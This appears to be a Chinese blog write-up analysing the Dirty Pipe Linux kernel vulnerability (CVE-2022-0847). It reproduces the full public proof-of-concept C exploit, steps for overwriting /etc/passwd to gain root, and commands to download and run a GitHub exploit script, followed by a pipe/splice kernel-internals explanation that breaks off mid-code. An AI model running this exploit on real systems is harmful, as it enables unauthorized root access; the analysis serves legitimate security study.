CVE-2022-0847 Linux内核提权漏洞分析

Posted Tr0e

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2022-0847 Linux内核提权漏洞分析相关的知识,希望对你有一定的参考价值。

文章目录

前言

2022年2月23日,Linux 内核发布漏洞补丁,修复了内核 5.8 及之后版本存在的任意文件覆盖的漏洞 (CVE-2022-0847),该漏洞可导致普通用户本地提权至 root 特权,因为与之前出现的 DirtyCow “脏牛”漏洞 (CVE-2016-5195) 原理类似,该漏洞被命名为 DirtyPipe。

在3月7日,漏洞发现者 Max Kellermann 详细披露了该漏洞细节以及完整POC,参见:The Dirty Pipe Vulnerability。Paper 中不光解释了该漏洞的触发原因,还说明了发现漏洞的故事, 以及形成该漏洞的内核代码演变过程, 非常适合深入研究学习。

【漏洞影响版本】5.8 <= Linux内核版本 < 5.16.11 / 5.15.25 / 5.10.102。该漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 中修复,同时不影响 5.17-rc6 之后的 Linux 内核版本。

漏洞复现

使用 Kali Linux 官方虚拟机 kali-linux-2022.1-vmware-amd64 对漏洞进行复现,其内核版本信息如下(Linux version 5.15.0-kali3-amd64 ):

1.1 文件覆写poc/exp

先使用漏洞披露者公布的 POC 进行漏洞验证:

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\\nssh-ed25519 AAA......\\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])

	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) 
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) 
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */


int main(int argc, char **argv)

	if (argc != 4) 
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\\n", argv[0]);
		return EXIT_FAILURE;
	

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) 
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\\n");
		return EXIT_FAILURE;
	

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) 
		fprintf(stderr, "Sorry, cannot write across a page boundary\\n");
		return EXIT_FAILURE;
	

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) 
		perror("open failed");
		return EXIT_FAILURE;
	

	struct stat st;
	if (fstat(fd, &st)) 
		perror("stat failed");
		return EXIT_FAILURE;
	

	if (offset > st.st_size) 
		fprintf(stderr, "Offset is not inside the file\\n");
		return EXIT_FAILURE;
	

	if (end_offset > st.st_size) 
		fprintf(stderr, "Sorry, cannot enlarge the file\\n");
		return EXIT_FAILURE;
	

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) 
		perror("splice failed");
		return EXIT_FAILURE;
	
	if (nbytes == 0) 
		fprintf(stderr, "short splice\\n");
		return EXIT_FAILURE;
	

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) 
		perror("write failed");
		return EXIT_FAILURE;
	
	if ((size_t)nbytes < data_size) 
		fprintf(stderr, "short write\\n");
		return EXIT_FAILURE;
	

	printf("It worked!\\n");
	return EXIT_SUCCESS;

编译上述 poc,并以 root 权限创建测试文件 test.txt,然后以普通用户身份运行 poc 对 test.txt 文件进行改写:

可以看到,已成功借助 poc 程序以 kali 普通 shell 用户的身份对属主为 root 的文件进行了覆写修改,至此证明了存在漏洞。

1.2 覆写/etc/passwd

借助上述 poc,下面对 /etc/passwd 文件进行覆写,修改 root 用户的密码使之为空,从而实现提权(su root命令无需输入密码)。

下面为 Kali Linux 原始的 /etc/passwd 文件:

──(kali㉿kali)-[~/DirtyPipe]
└─$ cat /etc/passwd     
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sb
……

简述下 /etc/passwd 各列的字段的含义依次为:

其中第二列的密码占位符如果为 x 则表示该账户需要密码才能登录,为空则账户无须密码即可登录。

1、先备份 /etc/passwd:

sudo cp  /etc/passwd  /etc/passwd.bak

2、覆写 /etc/passwd 文件,将 root 用户的密码占位符由 x 置为空,从而进行提权(再次切换 root 用户可以免密切换):

3、提权成功,验证完记得执行如下命令恢复 /etc/passwd 文件:

rm /etc/passwd
mv /etc/passwd.bak /etc/passwd

最后说一下,上述 poc 文件的编译及覆写 /etc/passwd 实现提权的过程,Github 上已有人合成一个 exp 脚本,可直接下载使用:

git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh

脚本的使用方法和示例在 Github 上已说明得很清楚,此处不再赘述。

漏洞分析

根据补丁,漏洞发生点位于copy_page_to_iter_pipe 函数,增加了对buf->flags的初始化操作,所以这是一个变量未初始化漏洞。

copy_page_to_iter_pipe 的调用点出现在 splice 系统调用之中。splice 函数(系统调用) 通过一种"零拷贝"的方法将文件内容输送到管道之中,相比传统的直接将文件内容送入管道性能更好,具体在下文介绍。

2.1 Linux管道机制

漏洞别名脏管道,自然需要先了解一下管道 pipe。

Linux 系统在进程间完成数据传递需要借助操作系统提供特殊的方法,如:文件、管道、信号、共享内存、消息队列、套接字、命名管道等。随着计算机的蓬勃发展,一些方法由于自身设计缺陷被淘汰或者弃用。现今常用的进程间通信方式有:

  1. 管道 (使用最简单);
  2. 信号 (开销最小);
  3. 共享映射区 (无血缘关系);
  4. 本地套接字 (最稳定)。

管道一般用于父子进程之间相互通信,一般的用法如下:

  • 父进程使用 pipe 系统调用创建一个管道;
  • 然后父进程使用 fork 系统调用创建一个子进程;
  • 由于子进程会继承父进程打开的文件句柄,所以父子进程可以通过新创建的管道进行通信;
  • 父进程关闭管道读端,子进程关闭管道写端。父进程可以向管道中写入数据,子进程将管道中的数据读出。由于管道是利用环形队列实现的,数据从写端流入管道,从读端流出,这样就实现了进程间通信。

其原理如下图所示:

由于管道分为读端和写端,所以需要两个文件描述符来管理管道:fd[0] 为读端,fd[1] 为写端。向管道文件读写数据其实是在读写内核缓冲区

下面代码介绍了怎么使用 pipe 系统调用来创建一个管道:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>

int main()

    int ret = -1;
    int fd[2];  // 用于管理管道的文件描述符
    pid_t pid;
    char buf[512] = 0;
    char *msg = "hello world";

    // 创建一个管理
    ret = pipe(fd);
    if (-1 == ret) 
        printf("failed to create pipe\\n");
        return -1;
    
  
    pid = fork();     // 创建子进程

    if (0 == pid)    // 子进程
        close(fd[0]); // 关闭管道的读端
        ret = write(fd[1], msg, strlen(msg)); // 向管道写端写入数据
        exit(0);
     else           // 父进程
        close(fd[1]); // 关闭管道的写端
        ret = read(fd[0], buf, sizeof(buf)); // 从管道的读端读取数据
        printf("parent read %d bytes data: %s\\n", ret, buf);
    

    return 0;

编译代码并运行,结果如下:

[root@localhost pipe]# gcc -g pipe.c -o pipe
[root@localhost pipe]# ./pipe
parent read 11 bytes data: hello world

管道的局限性:

  1. 数据一旦被读走,便不在管道中存在,不可反复读取;
  2. 由于管道采用半双工通信方式,因此数据只能在一个方向上流动;
  3. 只能在有公共祖先(有血缘)的进程间使用管道。

每个进程的用户空间都是独立的,但内核空间却是共用的,所以进程间通信必须由内核提供服务。在内核中,管道使用了环形缓冲区来存储数据。环形缓冲区的原理是:把一个缓冲区当成是首尾相连的环,其中通过读指针和写指针来记录读操作和写操作位置。如下图所示:

当向管道写数据时,从写指针指向的位置开始写入,并且将写指针向前移动。而从管道读取数据时,从读指针开始读入,并且将读指针向前移动。

在 Linux 内核中,使用了 16 个内存页作为环形缓冲区,所以这个环形缓冲区的大小为 64 KB(16 * 4KB)。这 16 个内存页面之间并不连续,而是通过数组进行管理,形成一个环形链表,维护两个链表指针,一个用来写(pipe->head),一个用来读(pipe->tail)。

管道对象

在 Linux 内核中,管道使用 pipe_inode_info 对象来进行管理,其定义如下所示:

struct pipe_inode_info 
    wait_queue_head_t wait;  //等待队列,用于存储正在等待管道可读或者可写的进程。
    unsigned int nrbufs,     //表示未读数据已经占用了环形缓冲区的多少个内存页
    unsigned int curbuf;     //表示当前正在读取环形缓冲区的哪个内存页中的数据
    ...
    unsigned int readers;    //表示正在读取管道的进程数
    unsigned int writers;    //表示正在写入管道的进程数
    unsigned int waiting_writers; //表示等待管道可写的进程数
    ...
    struct inode *inode;         //与管道关联的 inode 对象
    struct pipe_buffer bufs[16]; //环形缓冲区,由 16 个 pipe_buffer 对象组成,每个 pipe_buffer 对象拥有一个内存页
;

由于环形缓冲区是由 16 个 pipe_buffer 对象组成,所以来看看 pipe_buffer 对象的定义:

struct pipe_buffer 
    struct page *page;   //指向 pipe_buffer 对象占用的内存页
    unsigned int offset; //如果进程正在读取当前内存页的数据,那么 offset 指向正在读取当前内存页的偏移量
    unsigned int len;    //表示当前内存页拥有未读数据的长度
    ...
;

这里主要分析一下往管道中写数据时触发的 pipe_write 函数(linux-5.13\\fs\\pipe.c: pipe_write):

static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)

	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty)  
        //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE)  
            /*[2]关键,如果 PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
             *如果写入长度不会跨页,则接着写,否则直接另起一页 */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			
			buf->len += ret;
			···
		
	

	for (;;) //[3]如果上一页没法接着写,则重新起一页
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) 
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) //[4]重新申请一个新页
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) 
					ret = ret ? : -ENOMEM;
					break;
				
				pipe->tmp_page = page;
			

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5]将新申请的页放到页数组中
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7]拷贝操作
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		
        ··· ···
    
	··· ···
	return ret;

代码流程如下:

  1. 如果当前管道 pipe 中不为空 (head==tail判定为空管道),则说明现在管道中有未被读取的数据,则获取 head 指针,也就是指向最新的用来写的页,查看该页的 len、offset (为了找到数据结尾),接下来尝试在当前页面续写;
  2. 判断当前页面是否带有 PIPE_BUF_FLAG_CAN_MERGE 的 flag 标记,如果不存在则不允许在当前页面续写,或当前写入的数据拼接在之前的数据后面长度超过一页(即写入操作跨页),如果跨页,则无法续写;
  3. 如果无法在上一页续写,则另起一页;
  4. alloc_page 申请一个新的页,将新的页放在数组最前面(可能会替换掉原有页面),初始化值;
  5. buf->flag 默认初始化为 PIPE_BUF_FLAG_CAN_MERGE ,因为默认状态是允许页可以续写的;
  6. 拷贝写入的数据,没拷贝完重复上述操作。

漏洞利用的关键就是在 splice 中未被初始化的PIPE_BUF_FLAG_CAN_MERGE flag 标记,这代表我们能否在一个"没写完"的 pipe 页续写。

2.2 splice系统调用

splice 这个系统调用接口可以将数据从一个文件"零拷贝"到一个 pipe 管道。

#define _GNU_SOURCE         /* See feature_test_macros(7) */
#include <fcntl.h>

ssize_t splice(int fd_in, off64_t *off_in, int fd_out,
                      off64_t *off_out, size_t len, unsigned int flags);

/*
splice() moves data between two file descriptors without copying
between kernel address space and user address space.  It
transfers up to len bytes of data from the file descriptor fd_in
to the file descriptor fd_out, where one of the file descriptors
must refer to a pipe.
*/

“零拷贝”是作用于两个文件间移动,正常文件拷贝流程一般为 CPU 对内存空间进行多次读写操作将拷贝数据从用户态到内核态再返回用户态,而零拷贝让数据不需要经过用户态,而是将内核缓冲区与用户程序进行共享,这样就不需要把内核缓冲区的内容往用户空间拷贝。应用程序再调用 write(),操作系统直接将内核缓冲区的内容传输到指定输出端了。

比如 mmap 系统调用就是内核提供的一种零拷贝模式(不发生其他系统调用,跨越用户和内核的边界做上下文切换)。用户进程可以使用 mmap 直接将用户态的 buffer 映射到物理内存,不需要进行系统调用,直接访问自己的 mmap 区域即可访问到那段物理内存内容。

splice 系统调用到漏洞函数 copy_page_to_iter_pipe 调用栈很深,具体不详细分析,调用栈如下:

SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    splice_file_to_pipe -> do_splice_to
        generic_file_splice_read(in->f_op->splice_read 默认为 generic_file_splice_read)
             call_read_iter -> filemap_read
                   copy_page_to_iter -> copy_page_to_iter_pipe

漏洞所在的 copy_page_to_iter_pipe 函数主要做的工作就是将 pipe 缓存页结构指向要传输的文件的文件缓存页,来看下函数源码(linux-5.13\\lib\\iov_iter.c: copy_page_to_iter_pipe):

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)

	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 以上是关于CVE-2022-0847 Linux内核提权漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2022-0847 Linux内核提权漏洞分析

Linux DirtyPipe权限提升漏洞(CVE-2022-0847)

CVE-2022-0847-DirtyPipe-Exploit

CVE-2022-0847-DirtyPipe-Exploit

详解CVE-2022-0847 DirtyPipe漏洞

详解CVE-2022-0847 DirtyPipe漏洞